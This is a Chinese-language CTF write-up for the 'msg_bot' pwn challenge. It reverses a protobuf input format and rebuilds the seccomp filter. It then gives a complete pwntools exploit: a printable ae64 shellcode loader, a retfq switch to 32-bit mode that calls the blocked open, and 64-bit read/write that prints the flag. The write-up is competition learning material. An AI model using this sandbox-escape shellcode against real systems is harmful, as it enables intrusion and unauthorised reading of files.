做了一天,我太菜了

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void *__fastcall sub_1389(double a1)
{
unsigned int v1; // eax
int v2; // eax
void *result; // rax

v1 = time(0LL);
srand(v1);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
isnan(a1);
v2 = rand();
result = mmap((void *)(v2 % 0x7FFFFFFF), 0x1000uLL, 7, 34, -1, 0LL);
dest = result;
return result;
}

申请了一块mmap地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 sub_164B()
{
unsigned __int64 v1; // [rsp+8h] [rbp-118h]
char buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v3; // [rsp+118h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("botmsg: ");
v1 = read(0, buf, 0x100uLL);
qword_4058 = sub_199E(0LL, v1, buf);
if ( !qword_4058 )
{
puts("format error.");
exit(0);
}
if ( *(_QWORD *)(qword_4058 + 24) == 3735928559LL && *(_QWORD *)(qword_4058 + 32) == 195939070LL )
{
puts("format checked.");
}
else if ( *(_QWORD *)(qword_4058 + 24) == 3235839725LL && *(_QWORD *)(qword_4058 + 32) == 4027448014LL )
{
sub_15B2(*(_QWORD *)(qword_4058 + 48), (unsigned int)*(_QWORD *)(qword_4058 + 40));
sub_1461();
if ( *(_QWORD *)(qword_4058 + 40) <= 0xC7uLL && v1 <= 0xC7 )
{
memcpy(dest, *(const void **)(qword_4058 + 48), *(_QWORD *)(qword_4058 + 40));
((void (*)(void))dest)();
}
}
else
{
puts("nothing.");
}
return v3 - __readfsqword(0x28u);
}

sub_199E就是解包函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall sub_15B2(__int64 a1, unsigned int a2)
{
__int64 result; // rax
unsigned int v3; // [rsp+4h] [rbp-1Ch]
unsigned int i; // [rsp+1Ch] [rbp-4h]

v3 = a2;
if ( *(_BYTE *)(a2 - 1 + a1) == 10 )
{
*(_BYTE *)(a2 - 1 + a1) = 0;
v3 = a2 - 1;
}
for ( i = 0; ; ++i )
{
result = i;
if ( v3 <= i )
break;
if ( *(char *)((int)i + a1) <= 31 || *(_BYTE *)((int)i + a1) == 127 )
{
puts("Oops!");
exit(0);
}
}
return result;
}

可以给传入shellcode,但是要求在可见字符范围内。并且开了沙盒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
unsigned __int64 sub_1461()
{
...

v43 = __readfsqword(0x28u);
v3 = 32;
v4 = 0;
v5 = 0;
v6 = 0;
v7 = 53;
v8 = 0;
v9 = 1;
v10 = 0x40000000;
v11 = 21;
v12 = 0;
v13 = 6;
v14 = -1;
v15 = 21;
v16 = 5;
v17 = 0;
v18 = 0;
v19 = 21;
v20 = 4;
v21 = 0;
v22 = 1;
v23 = 21;
v24 = 3;
v25 = 0;
v26 = 5;
v27 = 21;
v28 = 2;
v29 = 0;
v30 = 37;
v31 = 21;
v32 = 1;
v33 = 0;
v34 = 231;
v35 = 6;
v36 = 0;
v37 = 0;
v38 = 0;
v39 = 6;
v40 = 0;
v41 = 0;
v42 = 2147418112;
v1 = 10;
v2 = &v3;
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(22, 2LL, &v1);
return v43 - __readfsqword(0x28u);
}

然后执行shellcode。

分析

protobuf

首先是程序要求以protobuf格式进行输入。protobuf环境安装看我的这篇文章。接下来先逆向proto数据格式。不清楚怎么逆向的,可以先看Real返璞归真师傅的文章.

我们打开IDA-view视图,按ctrl+s,找到.data.rel.ro段。proto字段

在0x3C68偏移处可以看到proto名字叫msgbot,package名字是bot,一共3个字段。根据0x3C98处的指针跟进到字段表。

bot字段表

第一个字段是msgid,1是字段的id,3说明字段的label是none(同时说明syntax是3),第二个3说明字段的类型是int64,0x18说明这个字段在proto里面的偏移是0x18。以此类推。0xF的类型是bytes。于是就可得到bot.proto:

1
2
3
4
5
6
7
8
9
syntax="proto3";

package bot;

message msgbot {
int64 msgid=1;
int64 msgsize=2;
bytes msgcontent=3;
}

protoc --python_out=. bot.proto生成python文件用来写脚本。

根据主逻辑里给出来的条件判断,写出前置脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import bot_pb2 as pb #protobuf生成的文件
from ae64 import AE64 #用来生成可见字符shellcode的工具

# e = ELF('./msg_bot')
context(os='linux', log_level='debug')

# r = process('./msg_bot')
r = remote("challenge.yuanloo.com", 41741)
r.recvuntil(b'botmsg')

msg = pb.msgbot()
msg.msgid = 0xC0DEFEED
msg.msgsize = 0xF00DFACE
msg.msgcontent = b'?'
print(len(msg.SerializeToString()))

沙盒

当传输的数据满足一定条件时,就能进到执行shellcode的路径,但是同时这条路上程序也开了个沙盒。这道题比较恶心的点是,沙盒是在分支里才开启的,需要输入特定的数据,用seccomp-tools没法直接dump出来,因为在终端没法直接输入不可见字节。也许用脚本或者其他方式能够dump出来,但是我不会,所以用了个比较蠢但是一定对的方法来看沙盒规则:根据伪代码自己写一个程序。其实如果对prctl熟悉的话,也许可以直接从伪代码看出来规则,但是我不熟悉,在网上查了很久才看懂prctl的用法,这里不展开。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <errno.h>
#include <linux/audit.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <unistd.h>

void install_filter()
{
struct sock_filter filter[] = {
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
{0x35, 0, 1, 0x40000000},
{21, 0, 6, 0xFFFFFFFF},
{21, 5, 0, 0},
{21, 4, 0, 1},
{21, 3, 0, 5},
{21, 2, 0, 0x25},
{21, 1, 0, 0xe7},
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
// BPF_JUMP(21, 59, 2, 1),
// BPF_JUMP(21, 11, 1, 0),
// BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
// BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, 2, &prog);
};

int main()
{
printf("hey there!\n");

install_filter();

execve("/bin/sh", NULL, NULL);
return 0;
}

编译之后再用seccomp-tools导出沙盒规则,就好看了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ seccomp-tools dump ./tmp
hey there!
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0003
0002: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0009
0003: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0009
0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009
0005: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0009
0006: 0x15 0x02 0x00 0x00000025 if (A == alarm) goto 0009
0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW

open被禁了,但是32位下的open调用号是5号,刚好是64位fstat的调用号,并且这个沙箱并没有限制架构,所以可以转成32位后调用open,再转回64位执行read和write。

shellcode(详细调试及手搓教程)

关掉alarm防止影响调试

sed -i s/alarm/isnan/g ./msg_bot

将程序中的alarm替换为isnan,isnan函数不会影响程序的流程,这样就不会被alarm影响调试了。

ae64和出现的问题

这道题还有个限制就是传进去的shellcode需要时可见字符,这里就需要用到一些工具来进行转换。可以用alpha3或者ae64,网上都有详细的介绍,我这里用的是ae64。

一般来说,要使用转架构的方式绕过沙盒,都需要一段可控地址的可执行内存,一般是使用mmap来获取,但是这个沙盒并没有给mmap。仔细观察发现执行shellcode的时候使以call rax的方式进行跳转的,而我们的shellcode就写在一段可执行的mmap内存里。地址是随机生成的,但是都控制在了四个字节以内。这意味这,虽然地址我们不能直接获取,但是保证了一定是一个32位也可用的地址,所以在手搓shellcode的时候可以注意从rax中获取地址。

ae64可以将一段64位汇编的shellcode转成只有可见字符组成的shellcode。其本质功能是生成一段shellcode,它可以通过各种计算将我原本的shellcode还原出来到内存中,并跳转执行。但是在使用调试过程中发现两个问题。假如我的代码如下:

1
2
3
4
5
6
7
push rax
pop rsi
xor eax, eax
push 0x7a
pop rdx
xor edi, edi
syscall

这很明显是一个read的系统调用。第一个问题可能是一个bug:ae64的shellcode执行完后,我的代码还原完毕,但是我发现我的syscall被还原成了不知道什么东西(punpckhdq那坨),导致这个read执行不成功。错误还原的代码

解决方法是,在syscall之前写几个nop。猜测可能和一定倍数对齐有关,没有深入探究。

第二个问题是,原本存在rax中的内存地址,会被还原代码的shellcode给破坏掉。也就是说,等到执行我的代码的时候,push rax也获取不到mmap的地址了。rax被破坏

不过仔细观察可以发现这时候rsp刚好指向mmap出来的地址加上一定偏移。经过几次验证可以发现mmap的地址一定会以\x00结尾,并且rsp指向的这个地址和这块内存的基址偏移是固定的,所以我们就不需要push再pop了,直接pop rsi就可以了。

写一个shellcode loader

结合前面两个问题,我们可以写出这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sc1 = '''
xor eax, eax
push 0x96
pop rdx
xor edi, edi
pop rsi
nop
nop
nop
nop
nop
nop
syscall
'''

...
msg.msgcontent = AE64().encode(shellcode, strategy='small') #用AE64生成一段最短可见字符的生成sc1的shellcode
...

诶对了,为什么我们要写这个read的syscall呢?因为程序还限制了传入的shellcode长度不能超过199。其实准确来说是184,因为还要算上protobuf前面的数据内容。想要把整个完整shellcode都用ae64打包成可见字符shellcode是不可能的,光是上面这段代码打包后的数据包总长度就达到了157字节,所以最好的方法就是先写一个shellcode loader,然后再传入真正orw的shellcode,这样既没有长度也没有可见字符的限制。

写一段32位的open系统调用

接下来我们要动调查看rsi是多少,我们接下来读入的第二段shellcode是从哪里开始读入的,rip下一步会从哪里开始执行,来确定接下来的shellcode该怎么写。pwndbg断点在mmap的地址可能会飞过去,所以我们断点在call rax(0x17C9)前,再单步执行到syscall处。执行加载器时查看偏移

此时rsi是0x*54,但是执行完syscall之后,rip会在0x*84(syscall占两个字节),能算出他们之间的偏移是0x30。所以传入下一段shellcode的时候要在payload前面加上一段0x30的padding。

retfq

上面提到我们需要转架构成32位后执行open函数,具体来说我们需要借助retf这个汇编指令。网上有详细的介绍,但是我也是第一次遇到实际题目,所以还是写一下。retf这个指令等价于

1
2
pop ip
pop cs

ip寄存器都很熟悉了,存放的时候retf结束后开始执行代码的地址。但是x86架构下的cs寄存器和8086里的用处已经不一样了。x86开始,cpu支持访问4G内存,CS寄存器作为代码段寄存器的意义已经不大了,在8086完成了它的使命之后,它被赋予了新的功能。对于retf这个指令来说,他可以控制我们需要切换的架构。cs为0x23的时候执行retf可以进入到32位模式,此时寄存器只有低32位可以使用,栈地址等也只能访问到32位地址。这也就是为什么我们需要一段32位地址的可执行内存来存放shellcode。cs为0x33的时候可以回到64位模式。

顺带一提,在8086中retf指令只是拿来转移cs段用的指令而已。

我们的间接可控地址现在在rsi寄存器里,别忘了这时候还是指向0x*54。所以我们需要将rsi加上一个值,让程序可以执行到后面的shellcode。这里我选择加0x3f,同时我在写payload的时候也会在这一段shellcode后面加上一些nop,这样就算我rsi跳到很后面了,我的代码也不会因执行不了而报错。因此,转架构可以写这样的代码:

1
2
3
4
5
6
7
8
9
10
11
sc_to86 = '''
nop /*可去除*/
add rsi, 0x3f
push 0x23
push rsi
retfq
'''

sc = b'a'*0x30
sc += asm(sc_to86, arch='amd64')
sc = sc.ljust(0x40, b'\x90')

这里用的不是retf而是retfq,其中q只是限定了字大小而已,64位下采用retfq,32位下还是用retf。顺带一提,加上的那个0x3f并不能乱取,其中的0x30是为了跳过前面那些padding,剩下的0xf至少要保证能够跳过sc_to86这一段code。也就是说这个0xf可以更大,但是不能小到这段code都跳不过。ljust中的0x40要保证大于等于code中的0x3f。然后接下来就是写一段32位的open调用:

1
2
3
4
5
6
7
8
9
10
11
12
sc_open = '''
add esi,0x1b0
mov esp, esi
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''

sc += asm(sc_open, arch='i386')

open在32位下的系统调用号是5。这里给esi又加上了一些偏移赋给了esp,这里是给系统调用开辟栈空间,一样是使用mmap的内存,一存多用。注意32的传参寄存器和64位不一样。

写一段64位的rw系统调用

首先需要先转换回64位,因为沙盒只开放了64位的read和write供我们使用。

1
2
3
4
5
6
7
8
9
10
sc_to64 = '''
sub esi, 0x1b0
add esi, 0x28
push 0x33
push esi
retf
'''

sc += asm(sc_to64, arch='i386')
sc = sc.ljust(0x68, b'\x90')

这里把之前当栈地址使用的esi寄存器还原,并加上一点偏移给到IP寄存器。这里同理,这里的0x28至少要保证跳过sc_open+sc_to64两段code。然后加一些nop来作为padding。下面就正常写rw的shellcode即可,这里我们需要一个地方来存放我们的flag,只要将rsi寄存器加上一点偏移就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sc_rw = '''
add rsi, 0x50
mov rdi, 3
mov rdx, 0x60
xor rax, rax
syscall

mov rdx, 0x60
mov rdi, 1
mov rax, 1
syscall
'''

sc += asm(sc_rw, arch='amd64')

最后把sc发上去就能顺利打印出flag了。到此为止,这道题就结束了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
import bot_pb2 as pb
from ae64 import AE64


# e = ELF('./msg_bot')
context(os='linux', log_level='debug')


sc1 = '''
xor eax, eax
push 0x96
pop rdx
xor edi, edi
pop rsi
nop
nop
nop
nop
nop
nop
syscall
'''

sc_to86 = '''
nop
add rsi, 0x3f
push 0x23
push rsi
retfq
'''
sc_open = '''
add esi,0x1b0
mov esp, esi
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''
sc_to64 = '''
sub esi, 0x1b0
add esi, 0x28
push 0x33
push esi
retf
'''
sc_rw = '''
add rsi, 0x50
mov rdi, 3
mov rdx, 0x60
xor rax, rax
syscall

mov rdx, 0x60
mov rdi, 1
mov rax, 1
syscall
'''

shellcode = asm(sc1, arch='amd64')

sc = b'a'*0x30
sc += asm(sc_to86, arch='amd64')
sc = sc.ljust(0x40, b'\x90')
sc += asm(sc_open, arch='i386')
sc += asm(sc_to64, arch='i386')
sc = sc.ljust(0x68, b'\x90')
sc += asm(sc_rw, arch='amd64')

print(shellcode)

r = process('./msg_bot')
# r = remote("challenge.yuanloo.com", 41741)
r.recvuntil(b'botmsg')

msg = pb.msgbot()
msg.msgid = 0xC0DEFEED
msg.msgsize = 0xF00DFACE
msg.msgcontent = AE64().encode(shellcode, strategy='small')
print(len(msg.SerializeToString()))

# gdb.attach(r)
# pause()

r.send(msg.SerializeToString())
# pause()
r.send(sc)


r.interactive()

总结

WP看着短,实际因为本人平时shellcode练习太少,这道题花了差不多一天才浑浑噩噩地做出来。我也不知道哪里来的毅力和意志,能为了一道题花了几乎一整个白天肝了出来。从一开始毫无思路、工具调不对、思路错误、因为没有mmap调用而红温、数据包长度不对、shellcode执行报错、这样那样的各种问题,到能坚持到打通拿到flag,真是觉得不可思议(而且此时其他题并还没有ak,只是看到了protobuf就来做做了)。不过确实算是一个很宝贵的经验,学到了很多之前没接触过的shellcode思路和绕过方法,也告诉了我自己的薄弱点在哪里。一开始不理解为什么前9个大佬为什么能这么快就做出来,做出来才发现其实不难,重要的是经验,真到大型赛事的时候,不可能有这么多时间给我来像这样一点点推演的。

还得练

⬆︎TOP